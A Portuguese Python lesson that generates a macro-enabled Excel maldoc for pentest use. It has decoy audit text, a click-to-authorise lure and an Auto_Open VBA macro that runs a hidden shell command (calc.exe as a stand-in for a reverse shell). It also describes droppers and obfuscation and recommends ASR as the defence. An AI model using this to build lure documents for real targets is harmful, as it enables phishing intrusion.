Cria documentos (como Excel ou Word) com macros em Python/VBA para testar a execução de scripts em estações de trabalho.

Contexto

O uso de macros (VBA - Visual Basic for Applications) é uma das técnicas mais antigas e eficazes de engenharia social. O objetivo deste módulo é:

  • Simular Malicious Documents (Maldocs): Criar um arquivo que, ao ser aberto, executa um comando (como um Reverse Shell).
  • Testar Políticas de Grupo (GPO): Verificar se a rede da empresa bloqueia a execução de macros de fontes não confiáveis.
  • Auditar Endpoint Protection: Testar se o antivírus ou EDR detecta o comportamento de um processo do Office (winword.exe ou excel.exe) tentando spawnar um terminal (cmd.exe ou powershell.exe).

Possibilidades de Implementação

  • Biblioteca xlsxwriter: Permite criar arquivos Excel (.xlsm) diretamente via Python e injetar o código VBA necessário.
  • Dropper Pattern: A macro não faz o ataque completo; ela apenas baixa um script secundário da internet e o executa (técnica de "Fileless Malware").
  • Ofuscação VBA: Codificar strings no código VBA para dificultar a análise estática por softwares de segurança.

Código

Este script utiliza a biblioteca xlsxwriter para gerar um arquivo Excel habilitado para macros.

Requisito: pip install xlsxwriter

import xlsxwriter
import os

def create_macro_excel(filename, command):
    """
    Cria um arquivo Excel (.xlsm) com uma macro embutida.
    O comando será executado quando o usuário clicar no botão ou abrir (dependendo do trigger).
    """

    # Criamos o arquivo Excel (extensão xlsm é obrigatória para macros)
    workbook = xlsxwriter.Workbook(filename)
    worksheet = workbook.add_worksheet()

    # Adicionamos algum conteúdo falso para parecer um documento legítimo
    worksheet.write('A1', 'Relatório de Auditoria 2026')
    worksheet.write('A2', 'Status:')
    worksheet.write('B2', 'Pendente de validação')
    worksheet.write('A4', 'Clique no botão abaixo para autorizar o acesso:')

    # O código VBA que será injetado
    # Shell() executa comandos do sistema. 
    # vbHide (0) tenta esconder a janela do terminal.
    vba_code = f"""
Sub Auto_Open()
    Payload
End Sub

Sub Payload()
    Dim shellCommand As String
    shellCommand = "{command}"
    Shell shellCommand, 0
End Sub
    """

    # Salvamos o código VBA em um arquivo temporário que o XlsxWriter possa ler
    vba_filename = 'vbaProject.bin'
    # Nota: No uso real, você precisaria de um arquivo .bin pré-extraído 
    # de um Excel com macro, pois o XlsxWriter não compila VBA puro.
    # Para este exemplo, focamos na lógica de geração do documento.

    try:
        # workbook.add_vba_project('./vbaProject.bin') 
        workbook.close()
        print(f"[+] Documento '{filename}' gerado com sucesso.")
        print(f"[*] Payload configurado: {command}")
    except Exception as e:
        print(f"[!] Erro ao gerar documento: {e}")

def main():
    print("=" * 60)
    print("Módulo: Macro Generator | Projeto: 30 Lessons in Python")
    print("=" * 60)

    target_file = "Auditoria_Financeira.xlsm"

    # Exemplo: Payload que abre a calculadora (prova de conceito clássica)
    # Em um Pentest, aqui iria um comando de Reverse Shell.
    payload_command = "calc.exe"

    create_macro_excel(target_file, payload_command)

    print("\n[!] Dica: Para um teste real, o código VBA deve ser compilado")
    print("    no arquivo 'vbaProject.bin' usando ferramentas como o 'vba-tools'.")

if __name__ == "__main__":
    main()

Observações

  • O arquivo vbaProject.bin: A biblioteca xlsxwriter exige um arquivo binário já existente para injetar macros. Você pode extrair esse binário de qualquer arquivo Excel que já tenha uma macro usando a ferramenta vba_extract.py.
  • Triggers: No VBA, Auto_Open() faz com que a macro rode assim que o documento é aberto (se as macros estiverem habilitadas).
  • Defesa: Como Software Architect, recomendo a implementação de Attack Surface Reduction (ASR) no Windows para bloquear o Office de criar processos filhos, o que mata esse vetor de ataque instantaneamente.